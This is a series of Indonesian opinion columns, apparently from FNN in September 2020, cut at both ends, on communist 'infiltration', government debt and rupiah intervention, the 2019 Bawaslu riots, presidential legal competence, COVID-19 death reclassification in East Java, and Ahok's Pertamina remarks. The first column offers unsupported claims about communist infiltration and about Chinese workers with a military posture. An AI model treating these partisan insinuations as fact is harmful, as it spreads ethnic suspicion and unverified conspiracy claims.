Sukamulia Medan, berbicara meluruskan persoalan. Dinyatakannya bahwa Komisi Pelurusan Sejarah memang tidak ada. "Apa yang dikatakan saudara Timsar memang benar, "katanya di hadapan sekitar 800 orang peserta acara Temu Raya mantan Tanapol itu. Dari pengalaman yang kuceritakan di atas, aku menemukan bukti bahwa prinsip menghalalkan segala cara memang dianut oleh paham komunis. Tidak mengherankan bila mereka menyatakan bahwa mereka adalah korban di dalam peristiwa 1965 bukan pelaku. Kegigihan mereka berusaha patut diacungi jempol. Tetapi bohongnya tentu saja wajib untuk dihindari. Aku mengkhiri secercah catatan batinku ini dengan kesimpulan sebagai berikut : Pertama, kader komunis sangat militan. Kedua, mereka bekerja sistematis dan terencana. Ketiga, infiltrasi yang mereka lakukan seperti yang dikatakan Pak Tamat sejak tahun 1980 yang lalu ,telah membuahkan hasil nyata sekarang ini. Keempat, waspada, jangan terlena oleh suara-suara yang meremehkan mereka. Apalagi terhadap pernyataan PKI sudah mati, tidak mungkin bangkit lagi. Kelima, RUU HIP sangat kuat indikasi pengaruh kepentingan komunis, karenanya harus ditolak. Keenam, banyaknya TKA asal Cina yang umumnya berpostur seperti meliter. Juga banyaknya cerita tentang masuknya senjata ilegal, seperti yang pernah ditangkap Jenderal Gatot Nurmantiyo semasa jadi Panglima TNI amat patut diwaspadai. Ketujuh, konsolidasi, dan bekerja dengan berpedoman kepada tuntunan yang Allah SWR berikan di dalam firmanNYA pada S. Ali Imran ayat 200. Artinya “hai orang-orang yang beriman, bersabarlah dan (kuatkan) kesabaran (itu) dan bersiaga (hati-hati, teliti, waspada), dan bertaqwalah kepada Allah, niscaya kamu beroleh kemenangan (keberuntungan, dunia dan akhirat). selesai... Penulis adalah Mantan Narapidana Mati.

Financial Engineering, Doping Rupiah Semakin Tak Terkendali

by Anthony Budiawan Jakarta FNN – Jum’at (25/09). Keuangan negara semakin tertekan. Penerimaan perpajakan (penerimaan pajak ditambah penerimaan bea dan cukai) sampai akhir Agustus 2020 turun 13,39 persen dibandingkan periode sama tahun 2019. Penerimaan pajak malah turun 15,64 persen. Semua komponen penerimaan negara turun kecuali cukai. Khususnya cukai rokok yang naik setiap tahun. Selama lima tahun belakangan ini, cukai rokok naik menjadi sekitar dua kali lipat. Sedangkan perokok kebanyakan terdiri dari masyarakat berpenghasilan rendah. Ironi memang. Pengeluaran dari kelompok masyarakat lapisan bawah ini yang justru meningkat. Defisit anggaran sampai dengan Agustus 2020 mencapai Rp 500,5 triliun. Defisit ini harus ditutupi dari utang. Namun, pemerintah ternyata menarik utang jauh lebih besar dari jumlah defisit tersebut, yaitu Rp 667,8 triliun. Sehingga ada kelebihan utang Rp 167,3 triliun, yang dinamakan Sisa Lebih Pembiayaan Anggaran atau SiLPA. Atau sekitar U$ 11,15 miliar. Sungguh jumlah yang sangat besar. Mencapai 33,4 persen dari total defisit anggaran. Pemborosan anggaran melalui utang yang berlebihan ini ditengarai untuk intervensi kurs rupiah. Alias doping. Jumlahnya semakin lama semakin besar. Dikhawatirkan akan overdosis, dan tumbang. Total SiLPA sampai akhir Agustus 2020 menjadi Rp 380 triliun. Mendekati 7 persen dari total utang pemerintah. Semuanya diperoleh dari utang, dan harus bayar bunga. Dengan suku bunga 8 persen, maka pemborosan beban bunga akibat penarikan kelebihan utang ini mencapai 30 triliun per tahun. Selain itu, pemerintah masih ada pengeluaran lain yang dikategorikan investasi. Misalnya, Penyertaan Modal Negara (PMN) di BUMN atau kementerian. Namanya investasi, tetapi uangnya juga dari utang. Sehingga total (pembiayaan) utang pemerintah sampai Agustus 2020 menjadi Rp 693,6 triliun. Artinya, ada tiga jenis utang terkait pengelolaan keuangan negara: utang terkait defisit anggaran sebesar Rp 500,5 triliun, utang terkait pembiayaan anggaran (termasuk SiLPA) sebesar Rp 667,8 triliun, dan utang secara keseluruhan (termasuk investasi) Rp 693,6 triliun. Berdasarkan perkiraan PDB sampai Agustus 2020, defisit anggaran mencapai sekitar 5 persen. Defisit pembiayaan anggaran sekitar 6,65 persen, dan pembiayaan utang sekitar 6,9 persen. Dari total utang Rp 693,6 triliun ini, yang dibeli Bank Indonesia mencapai Rp 188,8 triliun. Terdiri dari pembelian SBN (Surat Berharga Negara) di pasar perdana dan sebagai standby buyer Rp 45,3 triliun, pembelian SBN melalui private placement di pasar perdana untuk barang publik Rp 99,1 triliun, dan pembelian SBN untuk barang nonpublik (bantuan kepada UMKM dan Korporasi) Rp 44,4 triliun. Pola pembelian SBN di pasar perdana masih menjadi kontroversi hukum karena ada gugatan terkait Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 1 yang telah menjadi UU Nomor 2 Tahun 2020. Jumlah yang diperlukan untuk doping rupiah semakin besar. Jumlah juga SiLPA semakin membengkak. Menjadi Rp 167,3 triliun atau sekitar U$ 11,15 miliar untuk 8 bulan pertama tahun 2020. Mengindikasikan fundamental ekonomi Indonesia semakin lemah. Transaksi berjalan masih defisit terus-menerus sejak triwulan IV/2011. Mencapai 111,7 miliar dolar AS selama periode 2015-2019. Defisit ini harus ditutupi dari investasi asing atau utang luar negeri. Seharusnya, pemerintah membiarkan kurs rupiah mencari nilainya sendiri tanpa intervensi, tanpa di-doping. Kalau kurs rupiah terdepresiasi, ekspor akan meningkat. Karena produk Indonesia akan lebih kompetitif. Neraca perdagangan akan membaik. Tanpa intervensi rupiah, pemerintah tidak perlu menarik utang luar negeri berlebihan. Beban bunga di APBN menjadi lebih ringan. Konsep doping atau memperkuat kurs rupiah di tengah fundamental ekonomi yang lemah akan menjadi bumerang. Suku bunga kredit tidak bisa turun karena tersandera menarik utang luar negeri untuk menutupi defisit transaksi berjalan. Rezim suku bunga tinggi ini mengakibatkan biaya ekonomi tinggi. Membuat daya saing produk Indonesia melemah. Membuat defisit transaksi berjalan semakin akut. Pada akhirnya, doping rupiah akan menempatkan pembangunan ekonomi nasional dalam bahaya. Financial engineering melalui doping rupiah yang berlebihan bisa membuat bubble pada kurs rupiah terus membesar. Kalau bubble ini pecah, kalau kurs rupiah pada akhirnya tergelincir, biaya kerusakan ekonomi yang harus ditanggung rakyat Indonesia sangat besar. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Tragedi Kelam Bawaslu 21-22 Mei Jangan Dilupakan

by M Rizal Fadillah Bandung FNN – Jum’at (25/09). Saat kita mengingat tragedi berdarah September 1965 akibat aksi percobaan kudeta Partai Komunis Indonesia (PKI) yang menjadi "habitat" penumpahan darahnya. PKI yang ingin menggantikan ideologi negara Pancasila dengan ideologi Komunis. Maka petumpahan darah menjadi pilihan yang tidak bisa dihindari oleh PKI. Namun dalam masa Pemerintahan Jokowi, kita ingat juga akan ingat pada tragedi penumpahan darah dari sebuah peristiwa unjuk rasa. Melengkapi fenomena kematian 989 orang penyelegara Pemilu 2019 yang biasa disebut Petugas Pemungutan Suara (PPS). Banyaknya juga sangat spektakuler, dan sampai sekarang tak terungkap penyebab dan jumlahnya. X Files. Peristiwa itu adalah demonstrasi penolakan hasil Pemilihan Presiden (Pilpres) di depan Gedung Badan Pengawas Pemilu (Bawaslu), Jalan M.H Thamrin pada tanggal 21 dan 22 Mei 2019. Sekurangnya 8 orang tewas dengan sebagian besar tubuhnya diterjang peluru tajam "penembak misterius". Sebagian besar diantaranya adalah anak-anak yang masih remaja. Penyiksaan dan pengeroyokan sadis oleh aparat terjadi kepolisian. Akibatnya 10 orang anggota polisi diperiksa akibat kerusuhan. Namun hanya dikenai sanksi hukum pelanggaran disiplin. Para pegiat kemanusiaan dan Hak Asasi Manusia (HAM) mengindikasi telah terjadinya pelanggaran HAM) berat pada peristiwa yang sangat tragis dan memilukan di ero demokrasi ini. Penyebabnya adalah pengunjuk rasa kecewa atas kecurangan Pilpres yang memenangkan pasangan Jokowi-Ma'ruf Amin. Oleh karenanya aksi dilakukan di depan Bawaslu. Atas sejulah pelanggaran HAM tersebut, masyarakat sivil society dan pegiat HAM menuntut pembentukan tim independen "fact finding". Namun tersebut tidak dipenuhi oleh Kapolri Muhammad Tito Karnavian. Kapolri Tito Karniawan hanya membentuk tim dari internal dari Polri. Tim internal Polri tersebut dipimpin Irwasum Polri yang ketika itu dijabat oleh Komjen Polisi Moegiharto. Padahal tindakan brutal Brimob Polri dipicu oleh adanya "kelompok preman" yang hingga kini tidak jelas buatan siapa. Tuduhan terarah pada pihak ketiga atau Polisi sendiri. Dipanggung orasi muncul tokoh-tokohseperti Amien Rais, Kivlan Zen, Eggi Sudjana, Neno Warisman dan lainnya. Mereka mengungkap ketidak adilan dan kecurangan nyata pada Pilpres 2019. Anehnya, Prabowo yang menjadi figur yang dibela oleh pendukung tidak muncul di Panggung. Padahal sebelumnya Prabowo dengan tegas menyatakan, “akan timbul dan tengelam bersama rakyat”. Selain itu, sepulang dari Hotel Sahid, Prabowo dikabarkan telah membuat surat wasiat. Isinya, kalau-kalau sesuatu akan terjadi dengan Prabowo, maka wasiat telah dibuat kepada ahli waris. Belakangan Prabowo justru mengambil langkah mengecewakan dengan bersedia menjadi Menterinya Jokowi, Presiden yang justru dituduh memenangkan pemilihan dengan cara curang. Keberadaan kelompok preman misterius dan tindakan brutal aparat yang mengakibatkan tewasnya pengunjuk rasa hingga kini dinilai belum tuntas. Menjadi tabungan kasus dari Pemerintahan Jokowi. Alih-alih Kapolri atau Kapolda Metro Jaya saat itu yang diperiksa atau bertanggungjawab, justru "lawan-lawan politik" yang kemudian menjadi pesakitan seperti Kivlan Zen, Eggi Sujana hingga mantan Danjen Kopassus Soenarko. Himbauan agar pada tanggal 30 September masyarakat mengibarkan bendera setengah tiang adalah pengingat atas sejarah kelam bangsa ini. Namun kitapun tidak boleh melupakan sejarah kelam Pemerintahan Jokowi 21-22 Mei yang menyebabkan melayangnya nyawa orang-orang tak berdosa. Nyawa para remaja yang menjadi harapan keluarga dan bangsa. Semua terjadi akibat ulah cara kerja aparat yang tak berbeda dengan gaya PKI di masa lalu. Untuk itu, pelanggaran HAM berat harus diusut tuntas sekarang atau nanti. Jejak kaki berdarah tak boleh menguap tanpa bekas. PKI dan gaya bertindaknya tetap hidup dalam cara pandang pejuang ideologi yang abai atas nilai moral dan agama. Penulis adalah Pemerhati Politik dan Kebangsaan.

Presiden Jokowi Tidak Kompeten Mengurus Hukum

by Dr. Margarito Kamis SH. M.Hum “Demi Allah, saya bersumpah akan memenuhi kewajiban Presiden Republik Indonesia (Wakil Presiden Republik Indonesia) dengan sebaik-baiknya dan seadil-adilnya. Memegang teguh Undang-Undang Dasar dan menjalankan Undang-undang dan peraturannya dengan selurus-lurusnya, serta berbakti kepada Nusa dan Bangsa”. Inilah lafal sumpah Presidenyang diatur secara tegas dalam pasal 9 UUD 1945. ** Jakarta FNN - Kamis (24/09). Demokrasi boleh saja diagung-agungkan sebagai temuan kemanusiaan paling manakjubkan. Itu boleh-boleh saja. Tidak salah, tetapi cara pandang itu, juga terlalu jelas untuk menyembunyikan kelemahan sangat fatal yang terkandung dalam demokrasi. Demokrasi itu tak memiliki bentuk defenitif. Disebabkan demokrasi tak memiliki bentuk devenitif. Maka, pengembangannya, pengisian dan penggunaannya dapat dilakukan secara serampangan. Tetapi, dan inilah hebatnya. Sekalipun begitu, kaum aristokrat, kaum oligarkis yang menemukan demokrasi itu, cermat dan sistimatis dalam merencanakannya. Itulah mereka. Demokrasi memang mengenal etika. Kekuatannya luar biasa besar. Sama besarnya dengan kelemahannya. Hebatnya demokrasi juga mengenal dinamika. Dinamika tidak pernah lain selain fleksibel. Itu sebabnya demokrasi memiliki kemampuan mengentengkan berbagai persoalan berat. Soal berat itu datang silih berganti, tetapi selalu hanya menjadi bahan cerita yang asyik diwaktu senggang. Demokrasi Alatnya Korporasi Menariknya dengan agak naïf, para filsuf hendak menjinakan demokrasi dengan hukum. Itu yang dikenal dengan nomokrasi. Hukum diketengahkan, dalam makna diandalkan sebagai instrumen menjinakan watak membinasakan yang inheren dalam demokrasi. Para perencana demokrasi, yang tidak pernah lain adalah kaum oristokrat, termasuk korporasi, selalu memiliki cara membuat rakyat tak berdaya dalam semua aspek. Demokrasi berhasil dengan gemilang menjadikan korporasi yang selalu berwatak otokrat, sebagai subyek hukum. Sama dengan manusia. Dimanapun dinegeri-negeri yang melembagakan sistem pemerintahan presidensial, presiden ditakdirkan sebagai pelaksana hukum. Itu aksioma sistem presidernsial. Persis demokrasi, dimanapun di semua negeri demokrasi, hukum tak pernah tak punya lubang hitam. Hukum dan konstitusi sekelas UUD sekalipun memiliki kelemahan. Ini aksioma hukum. Presiden bisa bertindak berbeda untuk kasus yang sama. Demokrasi memungkinkan tindakan-tindakan Presiden tersebut. Itu jadinya normal-normal saja. Konstitusi Amerika misalnya, tidak mengatur kewenangan Presiden membentuk Bank Sentral, yang biasa mereka sebut dengan The Federal Reserve,atau The Fed. Itu kenyataan kelemahan konstitusi. Lalu bagimana cara untuk menutupnya? Alexander Hamilton, menteri pro bank ini, muncul dengan argumen presiden memiliki Implied Power. Dapat membentuknya. Tetapi pada waktu lain, Andrew Jackson, yang mengikuti pandangan Thomas Jefferson, dan menolak Bank National, juga menolak untuk melanjutkan eksistensi Bank National yang telah diperpanjang untuk kedua kalinya pada tahun 1816. Bagi kedua orang ini bank dengan kewenangan meminjamkan uang kepada pemerintah dan rakyat justru mengalihkan kedaulatan dari rakyat ke pemilik uang. Para pemilik uang akan muncul sebagai pendefenisi real demokrasi. Rakyat akan tertindas oleh sepak terjang mereka. Itulah yang diyakini oleh Thomas Jefferson. Pikiran itulah yang diamini oleh Andrew Jackson. Pikiran ini juga diikuti oleh William Howard Taft, Presiden Amerika 1908-1912. Begitu Taft kalah dalam pemilu dan digantikan oleh Wodroow Wilson, professor Princeton University, dan mantan gubernur New Jersy ini, justru menandatangani The Federal Reserve Act 1913. Nama The Federal Rserve dipakai untuk mengelabui masyarakat yang tidak menyukai nama Bank Sentral. Lain Presiden, lain tindakannya. Presiden Eishenhower pada tanggal 2 September 1957 mengirimkan National Guard ke Arkansas. Tindakan itu dimaksudkan untuk mendisiplinkan sikap Osval Faubus. Gubernur Arkansas ini membangkang terhadap putusan Mahkamah Agung yang diputus tahun 1954. Putusan ini tegas menyatakan segregasi atau pemisahan kulit putih dan hitam di sekolah-sekolah di Litle Rock Arkansas inkonstitusional. Putusan ini memaksa Osval Faubus mengintegrasikan kulit putih dan hitam ke dalam sekolah. Eishenhower bersikap tegas, kendati Vaubus telah menemuinya, untuk mencegah pengerahan pasukan National Guard. Dalam kasus lain, yang menggambarkan sikap dan respon politisi sebagai penentu lurus atau benkoknya hukum terjadi dalam soal pengisian jabatan hakim agung di Amerika Serikat. Mitch McConnel, pimpinan Senator dari Republik misalnya, habis-habisan menentang rencana Presiden Obama mengisi kursi hakim Agung kosong yang ditinggal oleh Antonio Scalia. Scalia mengingal dunia pada tanggal 13 Februari 2016 pada usia 79 tahun. Argumen McConeel dalam menolak kebijakan Presiden Obama, karena masa jabatan Obama segera berakhir. Karena waktu yang tersisa pendek, maka Presiden Obama tidak bisa menggunakan kewenangannya lagi. Menurutnya, biarkan Presiden baru nanti yang mengisinya. Tetapi ketika presiden dipegang oleh partai republic, McConnel berubah sikap. Dalam kasus Ruth Bader Ginsburg, yang meninggal dunia pada tanggal tanggal 18 September 2020, pada usia 87 tahun, McConnel akan mengelar sidang senat yang republic menjadi mayoritas, memberi persetujuan bila Presiden Trump mengajukan calon hakim agung, menggantikan Ginsburg. Risiko Terima Nasib Begitulah demokrasi yang dipandu oleh hukum bekerja secara empiris. Selalu dalam setiap kesempatan nomokrasi bekerja secara antagonistik. Keadaan yang sama ditangani dengan cara yang satu dan lainnya saling bertolak belakang. Bertekad membereskan kebobrokan hukum pada satu kesempatan. Namun pada kesempatan lain menyatakan sebaliknya. Itu tidak aneh dalam nomokrasi. Mendendangkan kesetaraan status dalam kerja konstitusi, tetapi orang kulit hitam di Amerika tetap terdiskriminasi. Itu nomokrasi namanya. Buruknya penegakan hukum di Indonesia diakui Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD, juga merupakan refleksi praktis nomokrasi itu. Profesor Mahfud mengatakan penegakan hukum di Indonesia terkesan jelek di mata masyarakat. Menko Mahfud ini menyebut banyak warga menganggap akan diperas hingga ditangkap oleh penegak hukum dalam suatu perkara. Dalam kata-katanya yang decisive Pak Menko menyatakan “saya, tidak bisa melakukan apa-apa, presiden tak bisa melakukan apa-apa, karena semua punya batasan kewenangan”. Karena itu perlunya pembinaan dan moralitas," kata Profesor Mahfud melalui rilis yang diterima CNNIndonesia.com, Kamis (17/9/2020). Ya wassalam. Presiden tidak bisa apa-apa terhadap buruknya hukum. Mau apalagi. Pahami saja penegakan hukum yang buruk itu. Pahami saja kenyataan Presiden responsif terhadap kasus yang menimpa Syekh Ali Jaber, tetapi tidak memberi instruksi terukur dalam kasus Tjoko Tjandra. Harus diakui demokrasi dan hukum tidak mengurung Presiden dengan kewajiban mengekspresikan responnya secara terbuka terhadap sebuah kasus. Jelas itu. Itu sebabnya bila diam-diam Presiden memberi respon, yang bersifat instruktif kepada Jaksa Agung dalam menangani kasus Tjoko Tjandra itu, termasuk kebakaran gedung Kejaksaan Agung, jelas dapat dimengerti. Tetapi bilapun tidak, itupun dapat dimengerti. Jaksa Agung harus dianggap tahu apa yang harus dilakukan untuk kasus yang bertali-temali eksplosive itu. Jaksa Agung harus dianggap tahu penegakan hukum. Tidak boleh dipandu dengan persepsi. Jaksa Agung harus dianggap tahu juga bahwa faktalah yang menentukan hukum. Bukan hukum menentukan fakta. Pembaca FNN yang budiman. Kalaupun keadaan ini dianggap menyedihkan dan menyakitkan, ya sudah berharap saja pada Allah Subhanahu Wata’ala untuk memperbaikinya. Mau bagaimana lagi. Pemerintah telah cukup jujur mengatakan tak punya kompetensi membenahinya. Menaruh sumpahnya dimeja Presiden, memintanya memenuhi sumpah itu, sangat tidak lagi masuk akal. Menyodorkan konsep konstitusi tentang jangkaun kewajiban dan Presiden, juga tak ada gunanya. Presiden melalalui Menko Polhukam Mahfud menyatakan “tidak bisa berbuat apa-apa”. Lantas siapa yang harus pimpin penegakan hukum di negeri ini? Pungut dan jadikan saja kenyataan itu sebagai basis konsep baru. Baik dalam lapangan ilmu tata negara maupun ilmu politik tentang jangkauan kewenangan Presiden. Cara itu yang akan menghadirkan perspektif baru dalam khasanah ilmu pengetahuan politik dan tata negara Indonesia. Jangan aneh-aneh. Hukum yang buruk, memungkinkan siapa saja diterkam dengan cara yang buruk pula. Industri hukum mungkin akan maju pesat. Itu risiko lain. Namun satu hal, rakyat harus membiasakan diri hidup dengan hukum yang buruk itu. Tentu saja berdampingan dengan corona. Inilah risiko yang harus diterima dari pemerintah yang tidak punya kompetensi untuk membereskan hukum yang terkesan jelek, buruk dan sejenisnya. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Gubernur Khofifah “Dijebak” Luhut Pandjaitan?

by Mochamad Toha Surabaya FNN- Kamis (24/09). Editorial Koran Tempo berjudul “Utak-atik Kematian Covid” (21 September 2020), mencibir Pemerintah yang berencana mengubah data kasus kematian Covid-19 menjadi 2 kelompok kematian dengan Covid-19 yang disertai komorbid dan kematian karena Covid-19. Koran Tempo menyebut, pandemi tampaknya melahirkan orang-orang yang “kreatif”. Setelah Kementerian Pertanian mempromosikan kalung anti Covid-19, seseorang yang bernama Hadi Pranoto mengklaim berhasil menciptakan obat antivirus corona. Kini, pemerintah berupaya menurunkan angka kematian akibat Covid-19 lewat “jalan pintas”. Caranya bukan dengan menekan tingkat penularan atau menggenjot angka kesembuhan, tapi mengubah definisi kematian. Pemerintah berencana membuat 2 kategori: kematian karena Covid-19 dan kematian dengan Covid-19 yang disertai komorbid alias penyakit bawaan. Usul membuat kategori seperti itu datang dari Provinsi Jawa Timur. Gubernur Khofifah Indar Parawansa mengirim surat kepada Menteri Kesehatan Terawan Agus Putranto agar klasifikasi pelaporan kasus kematian ditinjau ulang. Dari 2.922 kasus kematian di Jatim, sebanyak 91,1 persen meninggal disertai komorbid. Bila definisi kematian berubah angka kematian karena Covid-19 di Jatim bakal turun drastis. Perubahan definisi itu otomatis akan menekan angka kematian Covid-19 di seluruh wilayah Indonesia. Pasien yang meninggal setelah terjangkit virus corona, tapi memiliki penyakit asal seperti ganggunan jantung atau asma, akan dipisahkan dari kasus kematian akibat Covid-19. Bila sudah begitu, Menteri Koordinator Kemaritiman dan Investasi Luhut Binsar Pandjaitan tak perlu bersusah-payah lagi menurunkan angka kematian di 9 provinsi. Belum lama ini, Presiden Jokowi memang menugasi Luhut untuk menekan angka kematian di daerah merah – termasuk Jatim – dalam dua pekan. Tanpa “mengolah” definisi kematian, target Jokowi itu jelas sangat muskil. Utak-atik angka kematian sejatinya bukan pertama kali terjadi. Hingga pertengahan Juli lalu, Kemenkes tak mau memasukkan pasien yang meninggal dengan gejala Covid-19, tapi belum terkonfirmasi oleh hasil tes laboratorium, ke dalam kurva kematian akibat corona. Padahal, 3 bulan sebelumnya, Organisasi Kesehatan Dunia (WHO) telah memasukkan kasus berstatus probable itu dalam angka kematian Covid-19. Artinya, kematian dengan Covid-19 yang disertai komorbid itu tetap dimasukkan dalam angka kematian Covid-19. Koran Tempo mengingatkan, sia-sia saja mengutak-atik definisi kematian bila tujuannya untuk menutupi kegagalan mengendalikan wabah. Indonesia bukanlah sebuah koloni di dalam gua tertutup. Upaya menekan tingkat fatalitas dengan cara itu hanya akan menjadi bahan olok-olok dunia. Lebih berbahaya lagi, manipulasi data kematian iitu bisa menurunkan kewaspadaan dalam memerangi pandemi. Tanpa “diskon” angka kematian pun, kedisiplinan masyarakat dalam menerapkan protokol kesehatan sangat rendah. Akurasi data kematian semestinya menjadi pegangan pemerintah dalam memotong mata rantai penularan Covid-19. Sekaligus membangun sistem kesehatan publik jangka panjang. Kalau tujuannya memang ingin menghibur diri atau meninabobokan banyak orang, kenapa pemerintah tidak sekalian membuat kategori kematian karena “sudah ajal” saja? Menurut Direktur Jenderal Pencegahan dan Pengendalian Penyakit Kementerian Kesehatan dr Achmad Yurianto, redefinisi kematian COVID-19 masih dalam pembahasan rapat internal. “Bukan saya yang mengubah, saya masih koordinasi ke staf ahli menteri dan staf khusus menteri, saat ini masih berproses, apakah perlu diubah atau tidak,” kata dia saat dihubungi IDN Times, Selasa (22/9/2020). Redefinisi kematian COVID-19 muncul saat Staf Ahli Menteri Bidang Ekonomi Kesehatan Kementerian Kesehatan M. Subuh menghadiri rapat koordinasi bersama Gubernur Khofifah di Jatim pada Kamis, 17 September 2020. Menurut Subuh, kehadirannya untuk melaksanakan pesan dari Menkes berdasarkan Instruksi Presiden untuk membantu penurunan angka penularan, kematian, dan meningkatkan angka kesembuhan di wilayah Jatim dalam waktu dua pekan ke depan. “Kita harus berusaha dalam dua minggu ke depan terjadi penurunan angka penularan, peningkatan angka kesembuhan, penurunan angka kematian di 9 provinsi, termasuk wilayah Jatim,” ungkap Subuh dilansir laman Kemkes.go.id. Subuh menyebutkan ketiga poin tersebut (penurunan angka penularan, peningkatan angka kesembuhan, penurunan angka kematian) bisa ditekan, khususnya penurunan untuk angka kematian. “Penurunan angka kematian harus kita intervensi dengan membuat definisi operasional dengan benar, meninggal karena Covid-19 atau karena adanya penyakit penyerta sesuai dengan panduan dari WHO, dan juga dukungan BPJS Kesehatan dalam pengajuan klaim biaya kematian pasien disertai Covid-19,'” kata Subuh. Menanggapi hal tersebut, Gubernur Khofifah akan segera mengkoordinasikan dengan tim Covid-19 wilayah Jatim agar tiga poin tersebut tercapai. “Dengan adanya klasifikasi diharapkan adanya pendataan yang benar dan sinkronisasi data yang aktual antara pusat dan daerah, baik data kematian pasien yang memang disebabkan oleh Covid-19 dan kasus kematian karena Covid-19,” kata Khofifah. Tingkat kematian akibat infeksi virus SARS CoV-2 di Jatim secara persentase itu tinggi. Data terbaru Satgas Penanganan Covid-19, sebanyak 2.990 orang meninggal dunia (7,28%) dari total terkonfirmasi positif 41.076 kasus. Sebanyak 33.575 dinyatakan sembuh (81,74%). Merujuk data tersebut, Koordinator Rumpun Kuratif Penanganan COVID-19 Jatim dr. Joni Wahyuhadi mengakui pihaknya mengirimkan usulan kepada Kemenkes. Sebab, perlu adanya pelurusan mengenai pemberian status kematian akibat virus corona. Harusnya, ada pembedaan klasifikasi meninggal dunia seperti standar WHO. Yang mana meninggal murni Covid-19 dan meninggal akibat komorbid disertai virus corona. “Usulan kami kalau melihat di pengisian sistem online Kementerian Kesehatan,” ujar Joni. “Jjadi, angka kasus bukan berdasarkan rantai kasus sesuai WHO. Namun, kriteria saat Covid-19 pasien meninggal ini dicap negatif, probable, dan confirm,” ungkapnya saat di Gedung Negara Grahadi, Surabaya, Senin, 21 September 2020. Sementara, pedoman WHO yang ditunjukkan Joni, dokter sejak awal mencatat penyebab pasien terinfeksi mulai dia kontak erat atau masuk kategori suspect. Kemudian, harus dipastikan apakah ada penyakit penyerta atau tidak yang harus diisi, lalu dipantau terus apakah ada pneumonia atau tidak yang ini menjadi indikator penentuan pasien yang dinyatakan meninggal dunia. “Definisi kematian, kematian karena Covid-19 untuk tujuan pengawasan sebagai kematian yang kompatibel secara klinis dalam kasus Covid-19 yang suspect atau probable,” katanya. “Jadi, suspect itu gak boleh disebut kematian karena Covid-19. Ini bukan di-covid-kan. Sebab, suspect belum ada pemeriksaan labnya. Klinisnya, ada toraks fotonya, ada riwayat kontaknya, ada gejalanya,” lanjut Joni. “Kecuali ada penyebab kematian alternatif yang jelas, yang tidak dapat dikaitkan dengan Covid-19. Jadi, suspect maupun terkonfirmasi menyebabkan gagal napas itu Covid-19,” jelas Joni. Dirut RSUD dr Soetomo ini mencontohkan pasien yang meninggal dunia terdeteksi positif Covid-19, tapi tidak seharusnya tercatat meninggal akibat corona. Yakni, pasien yang mengalami kecelakaan. Saat akan dirawat diwajibkan tes swab. Ternyata hasilnya positif. Tak lama setelah itu, pasien meninggal dunia. “Harusnya bukan (masuk kematian akibat) Covid-19. Kematian Covid-19 (harusnya) tidak dikaitkan dengan hal lain. Misal kanker kronis mati kena Covid-19, ini bukan (meninggal karena) Covid-19. Tapi, karena kanker. Ini harus dihitung secara independen yang diduga memicu perjalanan Covid-19,” kata Joni. Kewenangan untuk menghitung itu, kata dia, menjadi kewajiban dokter di rumah sakit yang menangani pasien. Menurutnya, harus dibedakan ada pasien positif virus corona yang meninggal karena komorbidnya. Ada pula yang meninggal karena Covid-19. Berdasarkan data di Jatim, pasien meninggal dunia yang memiliki komorbid atau penyakit penyerta sebesar 91,9 persen. Mayoritas penyakit penyertanya adalah diabetes. Sedangkan yang meninggal murni karena Covid-19 hanya 8,1 persen. Contoh Kasus Usulan Gubernur Khofifah itu dikritisi Arie Karimah Muhammad, Pharma-Excelent Alumni ITB. “Buat yang mau otak-atik angka kematian, coba jawab dulu pertanyaan aye ini,” tulis Arie Karimah dei akun FB-nya. Jika seorang penderita diabetes terinfeksi Covid dan meninggal: Piye Carane menentukan kematiannya itu akibat diabetes atau Covid? Kriteria apa yang digunakan? Kadar gula darah puasanya? Atau viral load-nya? “Atau dilihat mana yang berhenti duluan: jantung atau paru-parunya? Atau: apa?” tulisnya. Kalau diputuskan kematiannya akibat diabetes (biar angka kematian Covid terlihat rendah): jenazah tetap diurus dan dimakamkan dengan protap Covid? Di pemakaman khusus Covid? Nanti kalau wartawan ngecek akan banyak selisih atuh antara angka kematian akibat Covid di RS dengan jumlah makam di pemakaman khusus? Njur piye? Beda kalau semua jenazah dikremasi: tidak bisa di-cross check. Ya tho? “Ingat lho, media asing seperti Reuters itu punya direct access ke sumber data. Mereka pasti melakukan cross checking jika datanya aneh. Testing number wae belum becussss,” ungkap Arie Karimah. Belum lagi masalah administrasi di RS apa nggak ruwet: meninggal bukan karena Covid tapi pemulasarannya dengan protap Covid. SOP-nya apa nggak ruwet itu? “Kalau ada audit ISO piye carane manipulasi data?” lanjutnya. “Kalau mau klaim biaya ke pemerintah juga gimana? Ada double SOP gitu? Khofifah, bisa jawab kagak?” sindir Arie Karimah. “Senengane kok akal-akalan. Gimana kalau kutanya: Penderita penyakit kronis itu kalau tidak terinfeksi Covid secara statistik berumur lebih panjang nggak?” ujar Arie Karimah. Apakah cause of death-nya bisa dibedakan secara significant. Lha kadang udah dikubur aja PCR-nya belum keluar. Apa yang meninggal di rumah pernah dihitung nggak yang akibat Covid? Mbok semangat itu belajar dari negara lain yang angka kematiannya rendah, atau berhasil menekan angka kematian. Penulis adalah Wartawan Senior FNN.co.id

Kontroversi Ahok, Pertamina Bukan Milik Penguasa!

by Dr. Marwan Batubara Jakarta FNN – Kamis (24/09). Heboh soal pernyataan Ahok (Basuki Tjahaja Purnama) tentang aib Pertamina memang sudah reda. Namun, persoalan belum usai. Pernyataan tersebut mengindikasikan adanya hal-hal penting yang perlu diproses hukum. Permasalahan bukan hanya berhenti di Ahok. Tetapi juga harus ditindaklanjuti pemerintah dan DPR. Bahkan oleh Badan Pemeriksa Keuangan (BPK) atau penegak hukum. Sebab aib yang dibuka Ahok dalam video akun POIN (15/9/2020) antara lain tentang prilaku direksi yang minim koordinasi. Sering langsung melobi menteri, enggan mendengar suara komut, pejabat non-job bergaji besar, suka berutang, doyan akuisisi aset migas di luar negeri, dan kegagalan membangun kilang. Ahok juga bicara tentang komisaris yang rata-rata adalah titipan dari kementerian. Selain itu, mengenai rencana proyek paperless senilai Rp. 500 miliar dengan Peruri. Ahok ikut menyoroti pembentukan super holding (Indonesia Incorporation) dan pembubaran Kementrian BUMN. Heboh yang diungkap Ahok bukan sekedar masalah tata krama komunikasi. Namun gaya bicaranya yang kontroversial, masalah internal korporasi, atau strategi manajemen yang oleh sebagian orang malah diapresiasi. Tetapi ada hal-hal penting dan strategis yang perlu diadvokasi, karena menyangkut sektor hidup rakyat yang 